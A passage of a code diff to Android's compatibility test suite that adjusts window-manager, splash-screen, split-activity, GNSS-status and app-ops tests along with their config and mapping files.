import static android.view.RoundedCorner.POSITION_BOTTOM_LEFT;
import static android.view.RoundedCorner.POSITION_BOTTOM_RIGHT;
import static android.view.RoundedCorner.POSITION_TOP_LEFT;
import static android.view.RoundedCorner.POSITION_TOP_RIGHT;
-import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -56,6 +55,7 @@ import androidx.test.rule.ActivityTestRule;
import com.android.compatibility.common.util.PollingCheck;
import org.junit.After;
+import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -63,7 +63,7 @@ import org.junit.runners.Parameterized;
@Presubmit
@RunWith(Parameterized.class)
-public class RoundedCornerTests {
+public class RoundedCornerTests extends ActivityManagerTestBase {
private static final String TAG = "RoundedCornerTests";
private final static int POSITION_LENGTH = 4;
private final static long TIMEOUT = 1000; // milliseconds
@@ -84,6 +84,14 @@ public class RoundedCornerTests {
@Parameterized.Parameter(1)
public String orientationName;
+ @Before
+ public void setUp() {
+ // On devices with ignore_orientation_request set to true, the test activity will be
+ // letterboxed in a landscape display which make the activity not a fullscreen one.
+ // We should set it to false while testing.
+ mObjectTracker.manage(new IgnoreOrientationRequestSession(DEFAULT_DISPLAY, false));
+ }
+
@After
public void tearDown() {
mTestActivity.finishActivity();
@@ -155,6 +163,8 @@ public class RoundedCornerTests {
getWindow().requestFeature(Window.FEATURE_NO_TITLE);
getWindow().getAttributes().layoutInDisplayCutoutMode =
LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+ getWindow().getDecorView().getWindowInsetsController().hide(
+ WindowInsets.Type.systemBars());
if (getIntent() != null) {
setRequestedOrientation(getIntent().getIntExtra(
EXTRA_ORIENTATION, SCREEN_ORIENTATION_UNSPECIFIED));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index b49e726114a..96359231e88 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -55,6 +55,7 @@ import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HA
import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_SET_NIGHT_MODE_ON_CREATE;
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.WindowInsets.Type.captionBar;
+import static android.view.WindowInsets.Type.statusBars;
import static android.view.WindowInsets.Type.systemBars;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -174,9 +175,10 @@ public class SplashscreenTests extends ActivityManagerTestBase {
final Bitmap image = takeScreenshot();
final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics();
final Rect stableBounds = new Rect(windowMetrics.getBounds());
- Insets insets = windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
- systemBars() & ~captionBar());
- stableBounds.inset(insets);
+ Insets statusBarInsets = windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
+ statusBars());
+ stableBounds.inset(windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
+ systemBars() & ~captionBar()));
WindowManagerState.WindowState startingWindow = mWmState.findFirstWindowWithType(
WindowManager.LayoutParams.TYPE_APPLICATION_STARTING);
@@ -188,9 +190,8 @@ public class SplashscreenTests extends ActivityManagerTestBase {
appBounds = new Rect(startingWindow.getFrame());
}
- Rect topInsetsBounds = new Rect(insets.left, 0, appBounds.right - insets.right, insets.top);
- Rect bottomInsetsBounds = new Rect(insets.left, appBounds.bottom - insets.bottom,
- appBounds.right - insets.right, appBounds.bottom);
+ Rect statusBarInsetsBounds = new Rect(statusBarInsets.left, 0,
+ appBounds.right - statusBarInsets.right, statusBarInsets.top);
assertFalse("Couldn't find splash screen bounds. Impossible to assert the colors",
appBounds.isEmpty());
@@ -206,11 +207,8 @@ public class SplashscreenTests extends ActivityManagerTestBase {
appBounds.intersect(stableBounds);
assertColors(image, appBounds, primaryColor, 0.99f, secondaryColor, 0.02f, ignoreRect);
- if (isFullscreen && !topInsetsBounds.isEmpty()) {
- assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
- }
- if (isFullscreen && !bottomInsetsBounds.isEmpty()) {
- assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f,
+ if (isFullscreen && !statusBarInsetsBounds.isEmpty()) {
+ assertColors(image, statusBarInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f,
null);
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index 758585670dc..2fa3ec818bc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -16,6 +16,7 @@
package android.server.wm;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
@@ -73,7 +74,10 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
@Override
public void setUp() throws Exception {
super.setUp();
- mOwnerActivity = startActivity(ActivityA.class);
+ // Launch activities in fullscreen, otherwise, some tests fail on devices which use freeform
+ // as the default windowing mode, because tests' prerequisite are that activity A, B, and C
+ // need to overlay completely, but they can be partially overlay as freeform windows.
+ mOwnerActivity = startActivityInWindowingModeFullScreen(ActivityA.class);
mOwnerToken = getActivityToken(mOwnerActivity);
}
@@ -280,7 +284,41 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
waitAndAssertActivityState(mActivityB, STATE_STOPPED,
"Activity B is occluded by Activity C, so it must be stopped.");
- waitAndAssertResumedActivity(mActivityA, "Activity B must be resumed.");
+ waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+ }
+
+ /**
+ * Verifies the behavior of the activities in a TaskFragment that is sandwiched in adjacent
+ * TaskFragments. It should be hidden even if part of it is not cover by the adjacent
+ * TaskFragment above.
+ */
+ @Test
+ public void testSandwichTaskFragmentInAdjacent_partialOccluding() {
+ // Initialize test environment by launching Activity A and B side-by-side.
+ initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+ final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken();
+ // TaskFragment C is not fully occluding TaskFragment B.
+ final Rect partialOccludingSideBounds = new Rect(mSideBounds);
+ partialOccludingSideBounds.left += 50;
+ final TaskFragmentCreationParams paramsC = mTaskFragmentOrganizer.generateTaskFragParams(
+ mOwnerToken, partialOccludingSideBounds, WINDOWING_MODE_MULTI_WINDOW);
+ final IBinder taskFragTokenC = paramsC.getFragmentToken();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ // Create the side TaskFragment for C and launch
+ .createTaskFragment(paramsC)
+ .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+ null /* activityOptions */)
+ .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenC, null /* options */);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ // Wait for the TaskFragment of Activity C to be created.
+ mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+ waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+ waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+ "Activity B is occluded by Activity C, so it must be stopped.");
+ waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
}
/**
@@ -384,7 +422,7 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
private void testActivityLaunchInExpandedTaskFragmentInternal() {
final TaskFragmentCreationParams fullScreenParamsC = mTaskFragmentOrganizer
- .generateTaskFragParams(mOwnerToken);
+ .generateTaskFragParams(mOwnerToken, new Rect(), WINDOWING_MODE_FULLSCREEN);
final IBinder taskFragTokenC = fullScreenParamsC.getFragmentToken();
final WindowContainerTransaction wct = new WindowContainerTransaction()
.createTaskFragment(fullScreenParamsC)
@@ -498,7 +536,10 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
public void testLaunchEmbeddedActivityWithShowWhenLocked() {
assumeTrue(supportsLockScreen());
+ // Create lock screen session and set credentials (since some devices will not show a
+ // lockscreen without credentials set).
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
// Initialize test environment by launching Activity A and B (with showWhenLocked)
// side-by-side.
initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
@@ -518,7 +559,10 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
public void testLaunchEmbeddedActivitiesWithoutShowWhenLocked() {
assumeTrue(supportsLockScreen());
+ // Create lock screen session and set credentials (since some devices will not show a
+ // lockscreen without credentials set).
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
// Initialize test environment by launching Activity A and B side-by-side.
initializeSplitActivities(false /* verifyEmbeddedTask */, false /* showWhenLocked */);
@@ -538,7 +582,10 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
public void testLaunchEmbeddedActivitiesWithShowWhenLocked() {
assumeTrue(supportsLockScreen());
+ // Create lock screen session and set credentials (since some devices will not show a
+ // lockscreen without credentials set).
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
// Initialize test environment by launching Activity A and B side-by-side.
mOwnerActivity.setShowWhenLocked(true);
initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
@@ -561,7 +608,7 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
@Test
public void testTranslucentAdjacentTaskFragment() {
// Create ActivityB on top of ActivityA
- Activity activityB = startActivity(ActivityB.class);
+ Activity activityB = startActivityInWindowingModeFullScreen(ActivityB.class);
waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
waitAndAssertActivityState(mActivityA, STATE_STOPPED,
"Activity A is occluded by Activity B, so it must be stopped.");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
index 605e3363f64..fe7ded2ed3d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
@@ -46,6 +46,7 @@ import android.view.WindowMetrics;
import androidx.test.filters.FlakyTest;
import org.junit.Test;
+import java.util.function.Supplier;
/**
* Tests that verify the behavior of {@link WindowMetrics} APIs on {@link Activity activities}.
@@ -202,7 +203,6 @@ public class WindowMetricsActivityTests extends WindowManagerTestBase {
// Resize the freeform activity.
resizeActivityTask(activity.getComponentName(), WINDOW_BOUNDS.left, WINDOW_BOUNDS.top,
WINDOW_BOUNDS.right, WINDOW_BOUNDS.bottom);
- mWmState.computeState(activity.getComponentName());
assertMetricsMatchesLayout(activity);
@@ -210,7 +210,6 @@ public class WindowMetricsActivityTests extends WindowManagerTestBase {
resizeActivityTask(activity.getComponentName(), RESIZED_WINDOW_BOUNDS.left,
RESIZED_WINDOW_BOUNDS.top, RESIZED_WINDOW_BOUNDS.right,
RESIZED_WINDOW_BOUNDS.bottom);
- mWmState.computeState(activity.getComponentName());
assertMetricsMatchesLayout(activity);
@@ -218,7 +217,6 @@ public class WindowMetricsActivityTests extends WindowManagerTestBase {
resizeActivityTask(activity.getComponentName(), MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.left,
MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.top, MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.right,
MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.bottom);
- mWmState.computeState(activity.getComponentName());
assertMetricsMatchesLayout(activity);
}
@@ -260,19 +258,21 @@ public class WindowMetricsActivityTests extends WindowManagerTestBase {
final OnLayoutChangeListener listener = activity.mListener;
listener.waitForLayout();
- final WindowMetrics currentMetrics = activity.getWindowManager().getCurrentWindowMetrics();
- final WindowMetrics maxMetrics = activity.getWindowManager().getMaximumWindowMetrics();
+ final Supplier<WindowMetrics> currentMetrics =
+ () -> activity.getWindowManager().getCurrentWindowMetrics();
+ final Supplier<WindowMetrics> maxMetrics =
+ () -> activity.getWindowManager().getMaximumWindowMetrics();
Condition.waitFor(new Condition<>("WindowMetrics must match layout metrics",
- () -> currentMetrics.getBounds().equals(listener.getLayoutBounds()))
+ () -> currentMetrics.get().getBounds().equals(listener.getLayoutBounds()))
.setRetryIntervalMs(500).setRetryLimit(10)
.setOnFailure(unused -> fail("WindowMetrics must match layout metrics. Layout"
+ "bounds is" + listener.getLayoutBounds() + ", while current window"
- + "metrics is " + currentMetrics.getBounds())));
+ + "metrics is " + currentMetrics.get().getBounds())));
final boolean isFreeForm = activity.getResources().getConfiguration().windowConfiguration
.getWindowingMode() == WINDOWING_MODE_FREEFORM;
- WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics, maxMetrics,
+ WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics.get(), maxMetrics.get(),
listener.getLayoutBounds(), listener.getLayoutInsets(), isFreeForm);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
index 3a4254fead9..a4c163ad631 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
@@ -344,12 +344,13 @@ public class WindowUntrustedTouchTest {
/** SAWs */
@Test
- public void testWhenOneSawWindowAboveThreshold_blocksTouch() throws Throwable {
+ public void testWhenOneSawWindowAboveThreshold_allowsTouch() throws Throwable {
addSawOverlay(APP_A, WINDOW_1, .9f);
mTouchHelper.tapOnViewCenter(mContainer);
- assertTouchNotReceived();
+ // Opacity will be automatically capped and touches will pass through.
+ assertTouchReceived();
}
@Test
@@ -415,14 +416,15 @@ public class WindowUntrustedTouchTest {
}
@Test
- public void testWhenOneSawWindowAboveThresholdAndSelfSawWindow_blocksTouch()
+ public void testWhenOneSawWindowAboveThresholdAndSelfSawWindow_allowsTouch()
throws Throwable {
addSawOverlay(APP_A, WINDOW_1, .9f);
addSawOverlay(APP_SELF, WINDOW_1, .7f);
mTouchHelper.tapOnViewCenter(mContainer);
- assertTouchNotReceived();
+ // Opacity will be automatically capped and touches will pass through.
+ assertTouchReceived();
}
@Test
@@ -461,14 +463,15 @@ public class WindowUntrustedTouchTest {
}
@Test
- public void testWhenThresholdIs0AndSawWindowAboveThreshold_blocksTouch()
+ public void testWhenThresholdIs0AndSawWindowAboveThreshold_allowsTouch()
throws Throwable {
setMaximumObscuringOpacityForTouch(0);
addSawOverlay(APP_A, WINDOW_1, .1f);
mTouchHelper.tapOnViewCenter(mContainer);
- assertTouchNotReceived();
+ // Opacity will be automatically capped and touches will pass through.
+ assertTouchReceived();
}
@Test
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 1c2fdf92a17..9fc6860499b 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -2499,7 +2499,8 @@ public abstract class ActivityManagerTestBase {
String amStartCmd =
(mWindowingMode == -1 || mNewTask)
? getAmStartCmd(mLaunchingActivity)
- : getAmStartCmd(mLaunchingActivity, mWindowingMode);
+ : getAmStartCmd(mLaunchingActivity, mDisplayId)
+ + " --windowingMode " + mWindowingMode;
// Use launching activity to launch the target.
commandBuilder.append(amStartCmd)
.append(" -f 0x20000020");
@@ -2657,4 +2658,35 @@ public abstract class ActivityManagerTestBase {
/** Activity that can handle all config changes. */
public static class ConfigChangeHandlingActivity extends CommandSession.BasicTestActivity {
}
+
+ public static class IgnoreOrientationRequestSession implements AutoCloseable {
+ private static final String WM_SET_IGNORE_ORIENTATION_REQUEST =
+ "wm set-ignore-orientation-request ";
+ private static final String WM_GET_IGNORE_ORIENTATION_REQUEST =
+ "wm get-ignore-orientation-request";
+ private static final Pattern IGNORE_ORIENTATION_REQUEST_PATTERN =
+ Pattern.compile("ignoreOrientationRequest (true|false) for displayId=\\d+");
+
+ final int mDisplayId;
+ final boolean mInitialIgnoreOrientationRequest;
+
+ IgnoreOrientationRequestSession(int displayId, boolean enable) {
+ mDisplayId = displayId;
+ Matcher matcher = IGNORE_ORIENTATION_REQUEST_PATTERN.matcher(
+ executeShellCommand(WM_GET_IGNORE_ORIENTATION_REQUEST + " -d " + mDisplayId));
+ assertTrue("get-ignore-orientation-request should match pattern",
+ matcher.find());
+ mInitialIgnoreOrientationRequest = Boolean.parseBoolean(matcher.group(1));
+
+ executeShellCommand("wm set-ignore-orientation-request " + (enable ? "true" : "false")
+ + " -d " + mDisplayId);
+ }
+
+ @Override
+ public void close() {
+ executeShellCommand(
+ WM_SET_IGNORE_ORIENTATION_REQUEST + mInitialIgnoreOrientationRequest + " -d "
+ + mDisplayId);
+ }
+ }
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 23089324180..55b2b624f57 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -1288,6 +1288,62 @@ public class WindowManagerState {
return "Display #" + mId + ": name=" + mName + " mDisplayRect=" + mDisplayRect
+ " mAppRect=" + mAppRect + " mFlags=" + mFlags;
}
+
+ @Override
+ public boolean equals(Object o) {
+ if (o == this) {
+ return true;
+ }
+ if (o == null) {
+ return false;
+ }
+ if (!(o instanceof DisplayContent)) {
+ return false;
+ }
+
+ DisplayContent dc = (DisplayContent) o;
+
+ return (dc.mDisplayRect == null ? mDisplayRect == null
+ : dc.mDisplayRect.equals(mDisplayRect))
+ && (dc.mAppRect == null ? mAppRect == null : dc.mAppRect.equals(mAppRect))
+ && dc.mDpi == mDpi
+ && dc.mFlags == mFlags
+ && (dc.mName == null ? mName == null : dc.mName.equals(mName))
+ && dc.mSurfaceSize == mSurfaceSize
+ && (dc.mAppTransitionState == null ? mAppTransitionState == null
+ : dc.mAppTransitionState.equals(mAppTransitionState))
+ && dc.mRotation == mRotation
+ && dc.mFrozenToUserRotation == mFrozenToUserRotation
+ && dc.mUserRotation == mUserRotation
+ && dc.mFixedToUserRotationMode == mFixedToUserRotationMode
+ && dc.mLastOrientation == mLastOrientation;
+ }
+
+ @Override
+ public int hashCode() {
+ int result = 0;
+ if (mDisplayRect != null) {
+ result = 31 * result + mDisplayRect.hashCode();
+ }
+ if (mAppRect != null) {
+ result = 31 * result + mAppRect.hashCode();
+ }
+ result = 31 * result + mDpi;
+ result = 31 * result + mFlags;
+ if (mName != null) {
+ result = 31 * result + mName.hashCode();
+ }
+ result = 31 * result + mSurfaceSize;
+ if (mAppTransitionState != null) {
+ result = 31 * result + mAppTransitionState.hashCode();
+ }
+ result = 31 * result + mRotation;
+ result = 31 * result + Boolean.hashCode(mFrozenToUserRotation);
+ result = 31 * result + mUserRotation;
+ result = 31 * result + mFixedToUserRotationMode;
+ result = 31 * result + mLastOrientation;
+ return result;
+ }
}
public static class Task extends ActivityContainer {
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index dfead818518..23e26e46c42 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -18,6 +18,7 @@
<configuration description="Config for CTS InputMethod test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="inputmethod" />
+ <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
index 5ee05054e40..a72460251a8 100644
--- a/tests/inputmethod/mockime/Android.bp
+++ b/tests/inputmethod/mockime/Android.bp
@@ -44,6 +44,7 @@ android_test_helper_app {
// tag this module as a cts test artifact
test_suites: [
"cts",
+ "gts",
"general-tests",
"mts",
"sts",
diff --git a/tests/location/location_gnss/AndroidManifest.xml b/tests/location/location_gnss/AndroidManifest.xml
index f463c37aa94..49f136831ba 100644
--- a/tests/location/location_gnss/AndroidManifest.xml
+++ b/tests/location/location_gnss/AndroidManifest.xml
@@ -25,6 +25,7 @@
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index e23dd841928..c8720703a17 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -1,38 +1,67 @@
package android.location.cts.gnss;
+
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
import android.location.GnssStatus;
import android.location.cts.common.GnssTestCase;
import android.location.cts.common.SoftAssert;
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.List;
+
public class GnssStatusTest extends GnssTestCase {
private static final String TAG = "GnssStatusTest";
private static final int LOCATION_TO_COLLECT_COUNT = 1;
private static final int STATUS_TO_COLLECT_COUNT = 3;
+ private UiAutomation mUiAutomation;
@Override
protected void setUp() throws Exception {
super.setUp();
mTestLocationManager = new TestLocationManager(getContext());
+ mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
}
/**
* Tests that one can listen for {@link GnssStatus}.
*/
+ @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
public void testGnssStatusChanges() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
- // Register Gps Status Listener.
- TestGnssStatusCallback testGnssStatusCallback =
- new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
- checkGnssChange(testGnssStatusCallback);
+ // Revoke location permissions from packages before running GnssStatusTest stops
+ // active location requests, allowing this test to receive all necessary Gnss callbacks.
+ List<String> courseLocationPackages = revokePermissions(ACCESS_COARSE_LOCATION);
+ List<String> fineLocationPackages = revokePermissions(ACCESS_FINE_LOCATION);
+
+ try {
+ // Register Gps Status Listener.
+ TestGnssStatusCallback testGnssStatusCallback =
+ new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+ checkGnssChange(testGnssStatusCallback);
+ } finally {
+ // For each location package, re-grant the permission
+ grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+ grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
+ }
}
private void checkGnssChange(TestGnssStatusCallback testGnssStatusCallback)
@@ -126,4 +155,55 @@ public class GnssStatusTest extends GnssTestCase {
Log.i(TAG, "usedInFix: " + status.usedInFix(i));
}
}
+
+ private List<String> getPackagesWithPermissions(String permission) {
+ Context context = InstrumentationRegistry.getTargetContext();
+ PackageManager pm = context.getPackageManager();
+
+ ArrayList<String> packagesWithPermission = new ArrayList<>();
+ List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/ 0);
+
+ for (ApplicationInfo applicationInfo : packages) {
+ String packageName = applicationInfo.packageName;
+ if (packageName.equals(context.getPackageName())) {
+ // Don't include this test package.
+ continue;
+ }
+
+ if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) {
+ final int flags;
+ mUiAutomation.adoptShellPermissionIdentity("android.permission.GET_RUNTIME_PERMISSIONS");
+ try {
+ flags = pm.getPermissionFlags(permission, packageName,
+ android.os.Process.myUserHandle());
+ } finally {
+ mUiAutomation.dropShellPermissionIdentity();
+ }
+
+ final boolean fixed = (flags & (PackageManager.FLAG_PERMISSION_USER_FIXED
+ | PackageManager.FLAG_PERMISSION_POLICY_FIXED
+ | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED)) != 0;
+ if (!fixed) {
+ packagesWithPermission.add(packageName);
+ }
+ }
+ }
+ return packagesWithPermission;
+ }
+
+ private List<String> revokePermissions(String permission) {
+ List<String> packages = getPackagesWithPermissions(permission);
+ for (String packageWithPermission : packages) {
+ Log.i(TAG, "Revoking permissions from: " + packageWithPermission);
+ mUiAutomation.revokeRuntimePermission(packageWithPermission, permission);
+ }
+ return packages;
+ }
+
+ private void grantLocationPermissions(String permission, List<String> packages) {
+ for (String packageToGivePermission : packages) {
+ Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission);
+ mUiAutomation.grantRuntimePermission(packageToGivePermission, permission);
+ }
+ }
}
diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml
index 918df5ab350..c5fce072bcd 100644
--- a/tests/musicrecognition/AndroidTest.xml
+++ b/tests/musicrecognition/AndroidTest.xml
@@ -22,6 +22,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index e48ba00a384..b1e5966491e 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -596,7 +596,10 @@ class AppOpsTest {
@Test
fun ensurePhoneCallOpsRestricted() {
- assumeTrue(mContext.packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))
+ val pm = mContext.packageManager
+ assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) ||
+ pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) ||
+ pm.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE))
val micReturn = mAppOps.noteOp(OPSTR_PHONE_CALL_MICROPHONE, Process.myUid(), mOpPackageName,
null, null)
assertEquals(MODE_IGNORED, micReturn)
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index 899721cb2f3..265da81ed4e 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -205,13 +205,18 @@ public class MainInteractionSession extends VoiceInteractionSession {
}
private boolean compareScreenshot(Bitmap screenshot, int color) {
- Point size = new Point(mDisplayWidth, mDisplayHeight);
+ // TODO(b/215668037): Uncomment when we find a reliable approach across different form
+ // factors.
+ // The current approach does not handle overridden screen sizes, and there's no clear way
+ // to handle that and multiple display areas at the same time.
+// Point size = new Point(mDisplayWidth, mDisplayHeight);
- if (screenshot.getWidth() != size.x || screenshot.getHeight() != size.y) {
- Log.i(TAG, "width or height didn't match: " + size + " vs " + screenshot.getWidth()
- + "," + screenshot.getHeight());
- return false;
- }
+// if (screenshot.getWidth() != size.x || screenshot.getHeight() != size.y) {
+// Log.i(TAG, "width or height didn't match: " + size + " vs " + screenshot.getWidth()
+// + "," + screenshot.getHeight());
+// return false;
+// }
+ Point size = new Point(screenshot.getWidth(), screenshot.getHeight());
int[] pixels = new int[size.x * size.y];
screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y);
diff --git a/tests/tests/content/TEST_MAPPING b/tests/tests/content/TEST_MAPPING
index ed0ac3444a4..7f588e48040 100644
--- a/tests/tests/content/TEST_MAPPING
+++ b/tests/tests/content/TEST_MAPPING
@@ -1,27 +1,29 @@
{
"presubmit": [
{
- "name": "CtsContentTestCases",
+ "name": "FrameworksCoreTests",
"options": [
{
- "exclude-annotation": "androidx.test.filters.FlakyTest"
- },
- {
- "exclude-annotation": "org.junit.Ignore"
+ "include-filter": "android.content.pm.PackageManagerTests"
},
{
